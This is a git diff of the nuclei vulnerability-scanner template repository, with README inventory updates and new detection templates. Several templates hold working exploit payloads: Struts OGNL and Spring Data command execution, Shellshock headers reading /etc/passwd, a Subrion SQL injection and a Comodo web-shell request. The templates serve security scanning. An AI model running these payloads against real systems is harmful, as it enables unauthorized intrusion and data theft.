moved to another branch for the fix.

Merge pull request #598 from geeknik/patch-12
Update server-status-localhost.yaml
2026-11-07 08:36:19 -10:00 · 2020-11-01 12:53:33 +05:30 · 2020-10-31 11:07:27 +05:30 · 2020-10-30 20:33:50 +00:00 · 2020-10-30 11:01:43 +05:30 · 2020-10-29 19:16:49 +05:30
238 changed files with 3368 additions and 301 deletions
@@ -1,4 +1,11 @@
 .pre-commit-config.yaml
 security-misconfiguration/missing-x-frame-options.yaml
-panels/
-cves/CVE-2020-13379.yaml
+security-misconfiguration/missing-hsts.yaml
+security-misconfiguration/missing-csp.yaml
+security-misconfiguration/basic-cors-flash.yaml
+cves/CVE-2017-7529.yaml
+cves/CVE-2020-13379.yaml
+cves/CVE-2013-2251.yaml
+vulnerabilities/x-forwarded-host-injection.yaml
+fuzzing/
+workflows/
@@ -10,36 +10,41 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.0.0`
+### nuclei templates `v7.2.0`

-| Template Directory      	| Number of Templates      | Number of HTTP/DNS requests  |
-|---------------------------|--------------------------|------------------------------|
-| cves                     	|86                        |131                           |
-| default-credentials       |03                        |04                            |
-| dns                     	|04                        |04                            |
-| files                     |34                        |111                           |
-| generic-detections        |03                        |03                            |
-| panels                    |28                        |82                            |
-| security-misconfiguration |16                  	   |93                            |
-| subdomain-takeover        |02           			   |02                            |
-| technologies              |24      				   |43                            |
-| tokens                    |07                        |07                            |
-| vulnerabilities           |26          			   |55                            |
-| workflows                 |12              		   |12*                           |
+| Template Directory      	| Number of Templates      |
+|---------------------------|--------------------------|
+| cves                     	|125                       |
+| default-credentials       |03                        |
+| dns                     	|04                        |
+| files                     |44                        |
+| fuzzing                   |02                        |
+| generic-detections        |03                        |
+| panels                    |39                        |
+| security-misconfiguration |25                  	   |
+| subdomain-takeover        |02           			   |
+| technologies              |32      				   |
+| tokens                    |08                        |
+| vulnerabilities           |33          			   |
+| workflows                 |15              		   |

-### nuclei templates `v7.0.0` tree overview 
+### nuclei templates `v7.2.0` tree overview 

 <details>
 <summary>Template Directory</summary>

 ```
 ├── cves
+│   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
+│   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-11444.yaml
 │   ├── CVE-2017-14537.yaml
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
 │   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-7615.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
 │   ├── CVE-2018-0296.yaml
@@ -48,10 +53,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-11759.yaml
 │   ├── CVE-2018-1247.yaml
 │   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-1273.yaml
 │   ├── CVE-2018-13379.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-16763.yaml
+│   ├── CVE-2018-17431.yaml
 │   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19386.yaml
 │   ├── CVE-2018-19439.yaml
 │   ├── CVE-2018-20824.yaml
 │   ├── CVE-2018-2791.yaml
@@ -72,9 +81,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-15107.yaml
+│   ├── CVE-2019-15858.yaml
 │   ├── CVE-2019-16278.yaml
+│   ├── CVE-2019-1653.yaml
+│   ├── CVE-2019-16662.yaml
 │   ├── CVE-2019-16759-1.yaml
 │   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-16920.yaml
 │   ├── CVE-2019-17382.yaml
 │   ├── CVE-2019-17558.yaml
 │   ├── CVE-2019-18394.yaml
@@ -82,13 +96,17 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6715.yaml
+│   ├── CVE-2019-7256.yaml
 │   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8442.yaml
 │   ├── CVE-2019-8449.yaml
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
@@ -98,15 +116,24 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-10204.yaml
 │   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-14179.yaml
+│   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-15129.yaml
+│   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
 │   ├── CVE-2020-24223.yaml
+│   ├── CVE-2020-24312.yaml
+│   ├── CVE-2020-2551.yaml
+│   ├── CVE-2020-25540.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
@@ -127,9 +154,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8194.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
-│   └── CVE-2020-9757.yaml
+│   ├── CVE-2020-9757.yaml
+│   ├── cve-2019-9733.yaml
+│   └── cve-2020-0618.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
 │   ├── rabbitmq-default-admin.yaml
@@ -144,10 +175,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── cgi-test-page.yaml
 │   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
+│   ├── domcfg-page.yaml
 │   ├── druid-monitor.yaml
 │   ├── drupal-install.yaml
 │   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
 │   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
@@ -159,27 +192,42 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── magento-config.yaml
+│   ├── ntlm-directories.yaml
+│   ├── php-errors.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
 │   ├── robots.txt.yaml
 │   ├── security.txt.yaml
 │   ├── server-status-localhost.yaml
+│   ├── shell-history.yaml
 │   ├── sql-dump.yaml
 │   ├── telerik-dialoghandler-detect.yaml
 │   ├── telerik-fileupload-detect.yaml
 │   ├── tomcat-scripts.yaml
 │   ├── wadl-files.yaml
 │   ├── web-config.yaml
+│   ├── wordpress-db-backup.yaml
 │   ├── wordpress-debug-log.yaml
 │   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-emergency-script.yaml
+│   ├── wordpress-installer-log.yaml
+│   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
 │   ├── wp-xmlrpc.yaml
+│   ├── wsdl-detect.yaml
 │   └── zip-backup-files.yaml
+├── fuzzing
+│   ├── arbitrary-file-read.yaml
+│   ├── directory-traversal.yaml
+│   └── generic-lfi-fuzzing.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
 ├── panels
+│   ├── adminer-panel.yaml
+│   ├── aims-password-mgmt-client.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
@@ -188,35 +236,43 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── docker-api.yaml
 │   ├── fortinet-fortigate-panel.yaml
 │   ├── globalprotect-panel.yaml
+│   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
 │   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
-│   ├── mongo-express-web-gui.yaml
+│   ├── manage-engine-admanager-panel.yaml
+│   ├── mobileiron-login.yaml
+│   ├── netscaler-gateway.yaml
+│   ├── network-camera-detect.yaml
 │   ├── parallels-html-client.yaml
-│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
+│   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard
 │   ├── traefik-dashboard.yaml
+│   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
-│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
+│   ├── django-debug-detect.yaml
 │   ├── drupal-user-enum-ajax.yaml
 │   ├── drupal-user-enum-redirect.yaml
 │   ├── front-page-misconfig.yaml
@@ -225,16 +281,27 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jira-unauthenticated-popular-filters.yaml
 │   ├── jira-unauthenticated-projects.yaml
 │   ├── jira-unauthenticated-user-picker.yaml
+│   ├── jupyter-ipython-unauth.yaml
+│   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
+│   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
+│   ├── unauthenticated-airflow.yaml
+│   ├── unauthenticated-jenkin-dashboard.yaml
 │   ├── wamp-xdebug-detect.yaml
-│   └── wordpress-accessible-wpconfig.yaml
+│   ├── wordpress-accessible-wpconfig.yaml
+│   └── zenphoto-installation-sensitive-info.yaml
 ├── subdomain-takeover
 │   ├── detect-all-takeovers.yaml
 │   └── s3-subtakeover.yaml
 ├── technologies
+│   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
@@ -243,32 +310,44 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
+│   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
+│   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
+│   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
+│   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
 │   └── werkzeug-debugger-detect.yaml
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
 │   ├── credentials-disclosure.yaml
+│   ├── fcm-server-key.yaml
 │   ├── google-api-key.yaml
 │   ├── http-username-password.yaml
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
+│   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
 │   ├── crlf-injection.yaml
@@ -277,6 +356,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
 │   ├── microstrategy-ssrf.yaml
+│   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
@@ -285,16 +365,26 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
 │   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
+│   ├── w3c-total-cache-ssrf.yaml
 │   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-emails-verification-for-woocommerce.yaml
+│   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
 └── workflows
    ├── artica-web-proxy-workflow.yaml
    ├── bigip-pwner-workflow.yaml
@@ -302,7 +392,9 @@ An overview of the nuclei template directory including number of templates and H
    ├── grafana-workflow.yaml
    ├── jira-exploitaiton-workflow.yaml
    ├── liferay-rce-workflow.yaml
+    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
+    ├── mida-eframework-workflow.yaml
    ├── netsweeper-preauth-rce-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
@@ -313,7 +405,7 @@ An overview of the nuclei template directory including number of templates and H

 </details>

-13 directories, **263 templates**. 
+14 directories, **352 templates**. 

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -1,4 +1,4 @@
-id: CVE-2005-2428
+id: cve-2005-2428
 info:
  name: CVE-2005-2428 testing
  author: CasperGN
@@ -0,0 +1,25 @@
+id: cve-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "uid="
+        condition: and
+        part: body
@@ -0,0 +1,31 @@
+id: CVE-2014-6271
+
+info:
+  name: Shellshock
+  author: pentest_swissky
+  severity: high
+  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/cgi-bin/status"
+      - "{{BaseURL}}/cgi-bin/stats"
+      - "{{BaseURL}}/cgi-bin/test"
+      - "{{BaseURL}}/cgi-bin/status/status.cgi"
+      - "{{BaseURL}}/test.cgi"
+      - "{{BaseURL}}/debug.cgi"
+    headers:
+      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2017-10075
+id: cve-2017-10075

 info:
  name: Oracle Content Server XSS
@@ -0,0 +1,24 @@
+id: cve-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2017-14537
+id: cve-2017-14537

 info:
  name: trixbox 2.8.0 - directory-traversal
@@ -1,4 +1,4 @@
-id: CVE-2017-14849
+id: cve-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2017-5638
+id: cve-2017-5638
 info:
  author: "Random Robbie"
  name: "Struts2 RCE "
@@ -1,4 +1,4 @@
-id: CVE-2017-7391
+id: cve-2017-7391

 info:
  name: Magmi – Cross-Site Scripting v.0.7.22
@@ -1,33 +0,0 @@
-id: CVE-2017-7529
-info:
-  author: "Harsh Bothra & @dwisiswant0"
-  name: "Nginx Remote Integer Overflow"
-  severity: medium
-  description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
-
-  # This template supports the detection part only.
-  # Do not test any website without permission
-  # https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-        Accept-Language: en-US,en;q=0.5
-        Range: bytes=-17208,-9223372036854758792
-        Connection: close
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 206
-      - type: word
-        words:
-          - "Server: nginx"
-        part: header
-      - type: word
-        words:
-          - "Content-Range"
-        part: body
@@ -0,0 +1,38 @@
+id: cve-2017-7615
+
+info:
+  name: CVE-2017-7615
+  author: bp0lr & dwisiswant0
+  severity: high
+  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
+
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[2] below.
+  # This template works by guessing user ID.
+  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
+
+  # References:
+  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+  # - [3] https://www.exploit-db.com/exploits/41890
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2017-9506
+id: cve-2017-9506

 info:
  name: Jira IconURIServlet SSRF
@@ -1,4 +1,4 @@
-id: CVE-2017-9841
+id: cve-2017-9841

 info:
  name: CVE-2017-9841
@@ -1,4 +1,4 @@
-id: CVE-2018-0296
+id: cve-2018-0296

 info:
  name: Cisco ASA path traversal vulnerability
@@ -1,4 +1,4 @@
-id: CVE-2018-1000129
+id: cve-2018-1000129

 info:
  name: Jolokia XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-11409
+id: cve-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-11759
+id: cve-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
@@ -1,4 +1,4 @@
-id: CVE-2018-1247
+id: cve-2018-1247

 info:
  name: RSA Authentication Manager XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-1271
+id: cve-2018-1271

 info:
  name: Spring MVC Directory Traversal Vulnerability
@@ -0,0 +1,34 @@
+id: cve-2018-1273
+
+info:
+  name: Spring Data Commons Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
+    and older unsupported versions, contain a property binder vulnerability
+    caused by improper neutralization of special elements.
+    An unauthenticated remote malicious user (or attacker) can supply
+    specially crafted request parameters against Spring Data REST backed HTTP resources
+    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+
+requests:
+  - payloads:
+      command:
+        - "cat /etc/passwd"
+        - "type C:\\/Windows\\/win.ini"
+    raw:
+      - |
+        POST /account HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2018-13379
+id: cve-2018-13379

 info:
  name: FortiOS - Credentials Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-14728
+id: cve-2018-14728

 info:
  name: Responsive filemanager 9.13.1 - SSRF/LFI
@@ -1,4 +1,4 @@
-id: CVE-2018-16341
+id: cve-2018-16341

 info:
  name: Nuxeo Authentication Bypass Remote Code Execution
@@ -1,4 +1,4 @@
-id: CVE-2018-16763
+id: cve-2018-16763

 info:
  name: fuelCMS 1.4.1 - Remote Code Execution
@@ -21,6 +21,6 @@ requests:
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "root:"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,33 @@
+id: cve-2018-17431
+
+info:
+  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
+  author: dwisiswant0
+  severity: critical
+  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48825
+  # - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
+
+requests:
+  - raw:
+      - |
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+      - | # to triggering RCE
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Configuration has been altered"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2018-18069
+id: cve-2018-18069

 info:
  name: Wordpress unauthenticated stored xss
@@ -1,4 +1,4 @@
-id: CVE-2018-19386
+id: cve-2018-19386

 info:
  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
@@ -10,7 +10,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.cookie)%2f%2f"
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"

    matchers-condition: and
    matchers:
@@ -19,4 +19,4 @@ requests:
          - 200
      - type: word
        words:
-          - 'javascript:alert(document.cookie)//'
+          - '<a href="javascript:alert(document.domain)//'
@@ -1,4 +1,4 @@
-id: CVE-2018-19439
+id: cve-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
@@ -1,4 +1,4 @@
-id: CVE-2018-20824
+id: cve-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-2791
+id: cve-2018-2791

 info:
  name: Oracle WebCenter Sites XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-3714
+id: cve-2018-3714
 info:
  name: node-srv Path Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2018-3760
+id: cve-2018-3760

 info:
  name: Rails cve-2018-3760
@@ -1,4 +1,4 @@
-id: CVE-2018-5230
+id: cve-2018-5230

 info:
  name: Atlassian Confluence Status-List XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-7490
+id: cve-2018-7490

 info:
  name: uWSGI PHP Plugin Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-1010287
+id: cve-2019-1010287

 info:
  name: Timesheet 1.5.3 - Cross Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-10475
+id: cve-2019-10475

 info:
  name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-11043
+id: cve-2019-11043

 info:
  name: PHP-FPM & nginx RCE
@@ -1,4 +1,4 @@
-id: CVE-2019-11248
+id: cve-2019-11248

 info:
  name: exposed_pprof
@@ -1,4 +1,4 @@
-id: CVE-2019-11510
+id: cve-2019-11510

 info:
  name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
@@ -1,4 +1,4 @@
-id: CVE-2019-11580
+id: cve-2019-11580

 info:
  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
@@ -1,4 +1,4 @@
-id: CVE-2019-12314
+id: cve-2019-12314

 info:
  name: Deltek Maconomy 2.2.5 LFIl
